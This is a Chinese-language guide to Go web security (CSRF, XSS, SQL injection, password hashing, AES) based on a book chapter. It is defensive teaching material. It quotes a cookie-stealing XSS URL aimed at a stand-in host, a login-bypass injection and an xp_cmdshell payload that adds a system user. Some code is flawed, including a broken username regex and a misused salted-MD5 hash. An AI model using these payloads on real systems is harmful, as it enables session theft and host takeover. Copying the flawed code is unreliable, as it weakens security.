用 Go 构建安全 Web 应用:第 9 章「安全与加密」全解(CSRF / 输入过滤 / XSS / SQL 注入 / 密码存储 / 对称加密)
用 Go 构建安全 Web 应用:第 9 章「安全与加密」全解(CSRF / 输入过滤 / XSS / SQL 注入 / 密码存储 / 对称加密)
本指南是开源电子书《Build Web Application with Golang》日文版第 9 章(ja/09.0.md)的完整技术解读。这一章以真实安全事件(如 CSDN 密码泄露)为切入点,系统讲解 Web 应用最常见的六大威胁——CSRF 跨站请求伪造、不可信输入、XSS 跨站脚本、SQL 注入、密码明文存储、数据双向加解密,并给出每一类威胁在 Go 语言中的具体防御与实现代码。读完本文,你将掌握从"识别外部数据来源"到"用 text/template 转义输出"、从"加盐哈希保存密码"到"用 crypto/aes 做对称加解密"的完整 Go 安全编程实战能力。
1. 为什么 Web 安全是 Go 开发者的必修课
第 9 章开篇(ja/09.0.md)点明了整章的核心立场:无论是 Web 应用开发者还是攻击者,都在密切关注应用安全。以 CSDN 密码泄露事件为代表的系列事故,让"密码"成了最敏感的话题——人们习惯在不同网站使用相同密码,一旦某个数据库被攻破,影响就会蔓延到所有地方。
作者给出的核心安全原则是:永远不要轻信第三方提供的数据。凡是用户输入的数据,在完成验证之前都应视为不安全数据:
- 如果把这些不安全数据直接输出到客户端,可能引发跨站脚本攻击(XSS);
- 如果把这些不安全数据拼进数据库查询,可能引发 SQL 注入;
- 如果攻击者诱导受害者在已登录状态下发出指定请求,就可能引发 CSRF 攻击。
因此本章围绕两条主线展开:一是输入过滤(9.2 节)与输出转义(9.3 节),从源头阻止恶意数据进入程序;二是加密——包括单向哈希(9.5 节保存密码)与双向对称加密(9.6 节加解密数据)。按章节顺序,对应关系如下:
| 章节 | 主题 | 核心防御手段 |
|---|---|---|
| 09.1.md | CSRF 攻击预防 | 正确使用 GET/POST/Cookie,非 GET 请求附加随机 token |
| 09.2.md | 输入过滤 | 识别数据来源、过滤、区分已过滤数据(CleanMap) |
| 09.3.md | XSS 攻击预防 | 特殊字符过滤(text/template)、正确设置 Content-Type |
| 09.4.md | SQL 注入预防 | 参数化查询、类型校验、最小权限 |
| 09.5.md | 密码保存 | 单向哈希 → 加盐哈希 → scrypt 专业方案 |
| 09.6.md | 数据加密/解密 | crypto/aes、crypto/des 对称加密 |
| 09.7.md | 总结 | 安全编程意识与 Go 加密工具链 |
在 ja/SUMMARY.md 的目录结构中,这一章位于全书第 9 章,前接 Web 服务(第 8 章),后接国际化与本地化(第 10 章),是全书唯一集中讨论安全与加密的章节。
2. CSRF 攻击:原理与 Go 防御实践
2.1 CSRF 是什么
CSRF(Cross-site request forgery,跨站请求伪造),也称 one click attack 或 session riding,缩写为 CSRF/XSRF。它的可怕之处在于:攻击者盗用你的登录身份,以你的名义发送任何请求。例如用户正在登录网上银行,尚未登出时点击了 QQ 好友发来的伪装链接(URL 短链是常见伪装手段),资金就可能被转移到攻击者指定的账户。
CSRF 的伤害范围不限于普通用户:如果受害用户是管理员,CSRF 就可能演变成整个 Web 应用的安全危机。
2.2 CSRF 攻击流程(两步骤模型)
ja/09.1.md 用一张流程图说明了成功发动 CSRF 需要的两个前提条件:

图:CSRF 攻击流程——受害者需先登录站点 A 并取得 Cookie 信任,再在未登出状态下访问危险页面 B
一次成功的 CSRF 攻击,受害者必须经历两个步骤:
- 登录页面 A,取得信任并在本地生成 Cookie;
- 在未登出 A 的情况下,访问危险的页面 B。
虽然理论上只要缺一个条件就不会中招,但现实中很难保证:浏览器普遍支持多标签页,登录 A 之后可能随手打开其他页面;关闭浏览器不等于 Cookie 立即过期,前一会话未必真正结束;攻击页面也可能是某个本身有漏洞、却被大量用户信任和访问的知名站点。结论是:只要用户登录后还会点击任何链接,就随时可能成为 CSRF 受害者。
CSRF 的根本原因在于 Web 的身份验证机制是"隐藏"的:它只能证明某个请求来自某个用户的浏览器,却无法证明该请求是用户本人授权发出的。
2.3 防御思路一:正确使用 GET / POST / Cookie
服务器端防御是当前的主流做法,主要从两方面入手:
- 正确使用 GET、POST 与 Cookie;
- 对非 GET 请求附加伪随机数(token)。
遵循 REST 风格设计时,通常约定:
- GET 仅用于浏览、列举、展示等不改变资源的操作;
- POST 仅用于下单、修改资源等改变状态的操作。
在 Go 中,可以用路由方法绑定来强制这一约定:
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
这样修改操作只接受 POST,用 GET 请求会被拒绝,从而挡住流程图中那种基于 GET 的 CSRF 攻击。但 POST 同样可能被伪造,所以必须叠加第二步。
2.4 防御思路二:非 GET 请求附加伪随机数
针对非 GET 请求附加随机数,书中给出三种方案:
- 每个用户生成唯一 Cookie token,所有表单包含同一伪随机数:最简单,因为攻击者(理论上)无法获取第三方的 Cookie,也就无法构造表单数据;但若页面存在 XSS 漏洞,Cookie 会被轻易盗走,因此该方案仅在无 XSS 的前提下才安全。
- 每个请求使用 CAPTCHA 验证码:防御效果最彻底,但用户需要反复输入验证码,可用性差,不适合实际运营。
- 不同表单分别包含不同伪随机数:即第 4 章 ja/04.4.md 介绍的"如何防止表单重复提交"方法,书中再次给出完整代码。
生成随机 token:
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
将 token 输出到表单隐藏字段:
<input type="hidden" name="token" value="{{.}}">
在服务端校验 token:
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
// token 的合法性校验
} else {
// token 不存在,返回错误
}
从源码结构看,这里的 token 由"当前时间戳 + 固定干扰串"经 MD5 生成,属于教学演示用的基础方案;生产环境应使用 crypto/rand 等安全随机源。书中同时指出,即便 token 生成算法被分析,暴力破解该字符串也大约需要 2 的 11 次方量级的运算时间,理论上基本不可行。
3. 输入过滤:Web 安全的第一道防线
3.1 三步过滤方法论
ja/09.2.md 指出,输入过滤是 Web 应用安全的基础——大部分 Web 安全漏洞都源于没有对用户输入做适当过滤。它分三步:
- 识别数据:弄清需要过滤的数据来自哪里;
- 过滤数据:明确需要什么样的数据;
- 区分已过滤与污染数据:确保存在攻击数据时,程序使用的是过滤后更安全的数据。
3.2 第一步:识别数据来源
"数据"指一切来自代码内部之外的数据:所有客户端数据,以及数据库、第三方接口等外部数据源。在 Go 中,用户输入很容易识别——r.ParseForm() 会把用户的 POST 与 GET 数据全部存入 r.Form。但其他输入(如 r.Header 中的大量字段)由客户端控制,很难确认哪些算输入。最稳妥的做法是:把其中的所有数据都视为用户输入(例如 r.Header.Get("Accept-Charset") 虽然大多由浏览器设置,也应视为用户输入)。
3.3 第二步:过滤数据的方法
过滤即"验证、清理、消毒"(validation / cleaning / sanitizing)——防止不期望的数据进入应用。书中特别强调一个历史教训:与其拒绝非法数据,不如检查数据是否符合合法规则,引导用户按规定输入。书中举了一个真实案例:某银行系统升级后,如果密码后两位是 0,只需输入前四位就能登录——这就是"纠弹非法数据"反而引入严重漏洞的例子。
Go 中过滤主要依赖三类库:
| 包 | 用途 | 典型函数 |
|---|---|---|
strconv |
字符串与基本类型互转(r.Form 返回的是字符串) |
Atoi、ParseBool、ParseFloat、ParseInt |
string |
按指定格式规整数据 | Trim、ToLower、ToTitle |
regexp |
处理复杂格式校验 | 判断输入是否为 Email、生日等 |
除了"检查/验证",特殊情况下可采用白名单策略:除非能证明数据合法,否则一律视为非法。这样即使出错也只会把合法数据误判为非法,绝不会把非法数据放行——比反向策略安全得多。
3.4 第三步:区分已过滤数据(CleanMap 模式)
过滤完成后,还要在代码中区分"已过滤"与"污染"数据,保证过滤的完整性且不影响原始输入。书中的做法是:把所有已过滤的数据存入全局 Map(CleanMap),并防止两个污染入口:
- 每个请求把 CleanMap 初始化为空 Map;
- 阻止外部数据源变量被当作 CleanMap 使用。
书中用下拉表单示例说明这一概念。表单只允许选择 astaxie、herry、marry 三个值:
<form action="/whoami" method="POST">
你是谁:
<select name="name">
<option value="astaxie">astaxie</option>
<option value="herry">herry</option>
<option value="marry">marry</option>
</select>
<input type="submit" />
</form>
初学者最容易犯的错误是"以为只会提交三个选项之一"——攻击者完全可以篡改 POST,提交 name=attack。因此必须做白名单式处理:
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
CleanMap["name"] = name
}
代码初始化 CleanMap,只有 name 属于三个合法值时才存入,从而保证 CleanMap["name"] 中的数据一定合法,其他代码可以放心使用;else 分支可以重新显示表单并提示错误,但不要友好地输出污染数据。
对于已知"应由合法字符构成"的数据,则用正则校验,例如限制用户名为字母数字:
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
CleanMap["username"] = username
}
4. XSS 攻击:原理与 Go 转义方案
4.1 XSS 是什么
ja/09.3.md 介绍:随着 Web 应用大量引入动态内容(程序根据用户环境与请求输出内容),"跨站脚本攻击(Cross Site Scripting,XSS)"成为常见威胁——静态页面则完全不受影响。XSS 的缩写刻意避开 CSS(层叠样式表)以免混淆。
与多数只影响攻击者与受害者两人的攻击不同,XSS 波及三方:攻击者、客户端与 Web 应用。攻击目标通常是夺取客户端保存的 Cookie 或其他标识身份的敏感信息,得手后攻击者即可冒充合法用户与页面交互。
4.2 存储型 XSS 与反射型 XSS
XSS 大致分两类:
- 存储型 XSS:主要出现在用户可输入、且其他浏览者可见的地方——论坛、评论区、博客、各类表单。流程是:恶意用户输入的 HTML 进入 Web 应用 → 进入数据库 → 被 Web 应用取出 → 输出到用户浏览器。
- 反射型 XSS:把脚本代码放进 URL 请求参数,参数进入程序后直接输出到页面,用户点击恶意链接即中招。
当前 XSS 的主要手段与目的包括:盗取 Cookie 与敏感信息;通过 Flash 的 crossdomain 权限配置或 Java 等获取更高权限;借助 iframe、frame、XMLHttpRequest 或 Flash 以受害用户身份执行管理操作或普通操作(如发微博、加好友、发私信——书中提到新浪微博曾遭遇 XSS 攻击);利用被信任区域的功能越权请求(如非法投票);在高 PV 页面上发起针对小网站的 DDoS 攻击。
4.3 XSS 攻击原理演示
Web 应用若对用户提交的数据缺乏充分检查与过滤,允许用户数据携带 HTML 代码(主要是 >、<),未转义的恶意代码就会在第三方用户浏览器中被解释/执行——这就是 XSS 漏洞的成因。
书中以反射型 XSS 为例:访问 http://127.0.0.1/?name=astaxie 页面输出 hello astaxie;而访问 http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,浏览器会弹出对话框——说明页面存在 XSS 漏洞。盗取 Cookie 的方式如法炮制:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script> 会把当前 Cookie 发送到攻击者指定的页面。这类 URL 直接看很可疑,但经 URL 短链伪装后难以分辨,一旦点击,Cookie 数据就被送走;攻击者拿到 Cookie 后,可借助 Websleuth 等工具尝试窃取账号。
4.4 防御:过滤特殊字符 + 设置正确 Content-Type
防御答案很简单:绝不信任用户的任何输入,过滤输入中所有特殊字符,即可根除大部分 XSS 攻击。书中给出两条 Go 实践:
方法一:过滤特殊字符。 Go 的 text/template 包提供 HTMLEscapeString、JSEscapeString 等 HTML 过滤函数,对用户提供的内容输出前做转义处理。
方法二:在 HTTP 响应头指定正确类型。 例如:
w.Header().Set("Content-Type", "text/javascript")
这样浏览器不会把内容当作 HTML 输出,而是按 JavaScript 解释——从输出端限制脚本被当作页面内容执行。需要说明的是,text/template 在渲染时默认也会对 <、>、& 等字符做 HTML 转义,与 html/template 配合是更现代的防御组合。
5. SQL 注入:原理、真实案例与六条预防准则
5.1 SQL 注入是什么
ja/09.4.md 指出,SQL 注入(SQL Injection,简称注入攻击)是 Web 开发中最常见的漏洞之一:攻击者可借此获取数据库中的敏感信息,或利用数据库特性执行添加用户、导出文件等恶意操作,甚至获得数据库乃至系统用户的最高权限。
成因是:程序没有对用户输入做有效过滤,攻击者把精心构造的恶意 SQL 查询发给服务器;程序误把攻击者输入当作查询的一部分执行,篡改原始查询逻辑,执行了意料之外的恶意代码。
5.2 两个真实注入案例
案例一:登录表单绕过。 考虑如下登录表单:
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登录" /></p>
</form>
程序拼接出的 SQL 可能是:
username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
若用户名输入:
myuser' or 'foo' = 'foo' --
SQL 变成:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
SQL 中 -- 表示注释,查询在中间被截断,攻击者无需知道合法用户名与密码即可登录成功。
案例二:MSSQL 系统命令执行。 书中展示了某版本 MSSQL 上更危险的注入:
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)
若 prod 被注入 a%' exec master..xp_cmdshell 'net user test testpass /ADD' --,SQL 变为:
SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'
MSSQL 服务器会执行向系统添加新用户的命令;若程序以 sa 权限运行且 MSSQLSERVER 服务权限足够,攻击者就能获得系统账户、直接访问主机。书中特别提醒:该例针对特定数据库系统,但类似的漏洞在各类数据库中都会以不同方式出现。
5.3 六条 SQL 注入预防准则
ja/09.4.md 给出的预防建议(可操作性与完整性保持原样):
- 严格限制 Web 应用的数据库操作权限:只授予完成工作所需的最小权限,尽量降低注入攻击对数据库造成的损害;
- 校验输入是否符合预期格式,严格限制变量类型:例如用
regexp包做匹配处理,或用strconv包把字符串转换为其他基本类型再判断; - 对进入数据库的特殊字符(
'"\角括号&*;等)做转义或编码:Go 的text/template包的HTMLEscapeString函数可对字符串做转义; - 所有查询尽量使用数据库提供的参数化查询接口:参数化查询用参数占位,不把用户输入变量嵌入 SQL,即不要直接拼接查询语句——例如使用
database/sql的Prepare、Query函数,或Exec(query string, args ...interface{}); - 部署前用专业 SQL 注入检测工具扫描:发现漏洞立即修补,此类开源工具很多,如 sqlmap、SQLninja;
- 避免页面输出 SQL 错误信息:如类型错误、字段不匹配等,防止代码 SQL 查询结构被泄露、被攻击者利用。
6. 密码存储:从明文哈希到 scrypt 专业方案
6.1 为什么"普通哈希"不安全
ja/09.5.md 开篇回顾了多起密码泄露事件:LinkedIn、CSDN 事件轰动国内互联网,多玩游戏的 800 万用户数据泄露,人人网、开心网、天涯社区、世纪佳缘、百合网等社区据传也成目标。由于用户习惯在不同网站使用相同密码,一处数据库被攻破就会波及全局。
目前最常见的密码保存方式是对明文密码做单向哈希。单向哈希的特点是:从哈希后的摘要(digest)无法还原原始数据,常用算法有 SHA-256、SHA-1、MD5。Go 语言三种算法实现如下:
// import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
// import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))
// import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:① 同一密码哈希结果始终唯一确定;② 计算速度极快——如今每秒可达数十亿次哈希。二者叠加意味着:把常用密码集合全部哈希一遍得到"摘要集合"(即彩虹表 rainbow table),与数据库中的摘要比对即可还原密码。因此,单向哈希后存储的数据与明文存储几乎无异——一旦数据库泄露,所有用户密码都暴露在阳光下。
6.2 更优方法:加盐(Salt)哈希
黑客能用彩虹表破解,通常是因为哈希算法是公开的;如果不知道算法就无从下手。直接自研哈希算法不现实——好算法要避免碰撞、规则又不易察觉,比想象中难得多,所以实践中多利用现有算法多次哈希。但简单的多重 MD5(两次、三次)并不奏效:你能想到的,黑客也能想到,对开源项目而言这等于直接告诉黑客算法。
当前安全做得较好的网站普遍采用**"盐"(salt)**方案:先对用户密码做一次 MD5(或其它哈希),在得到的 MD5 值前后拼接只有管理员知道的随机字符串,再做一次 MD5。盐可以是固定字符串,也可以包含用户名(保证各用户加密所用私密材料不同):
// import "crypto/md5"
// 假设用户名为 abc,密码为 123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
// pwmd5 为 e10adc3949ba59abbe56e057f20f883e
pwmd5 := fmt.Sprintf("%x", h.Sum(nil))
// 指定两个 salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"
// 拼接 salt1 + 用户名 + salt2 + MD5
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last := fmt.Sprintf("%x", h.Sum(nil))
只要两个 salt 不泄露,黑客即使拿到最终加密串,也几乎不可能反推出原始密码。
6.3 专业方案:scrypt 计算强度拉伸
"加盐"方案在数年前足够安全——当时攻击者没有足够资源构建海量彩虹表;但如今并行计算能力大幅提升,这类攻击完全可行。破解没有绝对,因此思路变成:故意增大计算密码所需的资源与时间,让任何人都没有构建彩虹表的资源。
这类算法的共同特点是都有"计算强度因子"——描述计算摘要所需资源与时间。强度越大,攻击者越难(最终无法)构建彩虹表。书中推荐 scrypt:由 FreeBSD 知名黑客 Colin Percival 为他的 Tarsnap 备份服务开发。Go 语言支持该算法的库在 golang.org/x/crypto/scrypt:
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
scrypt.Key 的参数依次为密码、盐、CPU/内存成本参数(16384)、块大小(8)、并行度(1)与输出密钥长度(32 字节),得到的就是当前最难破解的密码派生值。
6.4 行动建议
书中给出两条落地方案:普通用户用 LastPass 等密码管理器保存/生成密码,并在不同站点使用不同密码;开发者则强烈建议采用专业方法(scrypt 一类)保存密码。
7. 对称加密:用 crypto/aes 实现数据加密与解密
7.1 何时需要对称加密
ja/09.6.md 指出,前文解决的是密码的单向存储;但有时需要修改数据库中已保存的隐私加密数据,就必须能解密——此时应使用对称密钥加密算法,而不是单向哈希函数。
Go 的 crypto 支持两类对称加密模块:
crypto/aes:AES(Advanced Encryption Standard),又称 Rijndael 加密算法,是美国联邦政府采用的块密码标准;crypto/des:DES(Data Encryption Standard),对称密钥加密标准,尤其用于金融数据安全保护,曾是联邦政府加密标准,现已被 AES 取代。
两者用法相似,书中以 aes 包为例给出完整可运行示例:
package main
import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
)
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
// 要加密的字符串
plaintext := []byte("My name is Astaxie")
// 传入加密字符串时,plaintext 变为传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
// aes 加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
fmt.Println(len(key_text))
// 创建加密算法 aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
// 加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
7.2 关键 API 与参数约束
示例调用 aes.NewCipher 时,参数 key 必须是 16、24 或 32 字节的 []byte,分别对应 AES-128、AES-192 与 AES-256 算法;它返回 cipher.Block 接口,该接口实现三个功能:
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}
Encrypt/Decrypt 完成单块加解密;配合 crypto/cipher 的 NewCFBEncrypter/NewCFBDecrypter(CFB 流模式)与 IV(初始化向量)可处理任意长度数据。需要提醒的是,示例中的 commonIV 与固定 key 属于教学演示写法,生产环境应使用每次唯一的安全随机 IV,且 key 需妥善管理(如密钥管理服务)。在仅需基础安全性的应用中,书中建议优先采用 AES 算法。
8. 本章总结:Go 安全编程要点速查
ja/09.7.md 为全章收尾:本章介绍了 CSRF、XSS、SQL 注入等 Web 应用典型攻击手法,它们共同根源于应用未对用户输入做好过滤;因此除讲解攻击方式外,还介绍了如何通过有效的数据过滤来预防这些攻击。针对日益频发的严重密码泄露事件,本章给出了从基础到专业的加密方案;最后介绍了敏感数据的加密/解密——Go 语言提供 base64、aes 与 des 三种双向加密实现。
回顾全章可提炼出以下要点,作为 Go 安全编程的速查清单:
| 威胁 | 根因 | Go 防御手段 | 对应章节 |
|---|---|---|---|
| CSRF | Web 身份验证无法证明请求由用户授权发出 | GET/POST 语义分离 + 非 GET 请求附加随机 token | 09.1.md |
| 不可信输入 | 轻信外部数据 | 三步过滤:识别来源 → 过滤 → CleanMap 隔离 | 09.2.md |
| XSS | 未转义输出用户可控内容 | text/template 转义 + 正确 Content-Type |
09.3.md |
| SQL 注入 | 拼接 SQL、缺少校验 | 参数化查询 + 类型校验 + 最小权限 + 错误信息隐藏 | 09.4.md |
| 密码泄露 | 明文/裸哈希存储 | 加盐哈希 → scrypt 计算强度拉伸 | 09.5.md |
| 敏感数据可读 | 需要还原数据 | crypto/aes / crypto/des 对称加密 |
09.6.md |
本章写作的目的在于强化开发者的安全意识:编写 Web 应用时保持警惕,让应用远离黑客攻击;善用这些标准库包(text/template、database/sql、crypto/sha256、crypto/md5、crypto/aes 等,在本书第 4 章 ja/04.0.md 与第 5 章 ja/05.0.md 中可看到它们的配套用法),就能构建出安全可靠的 Web 应用。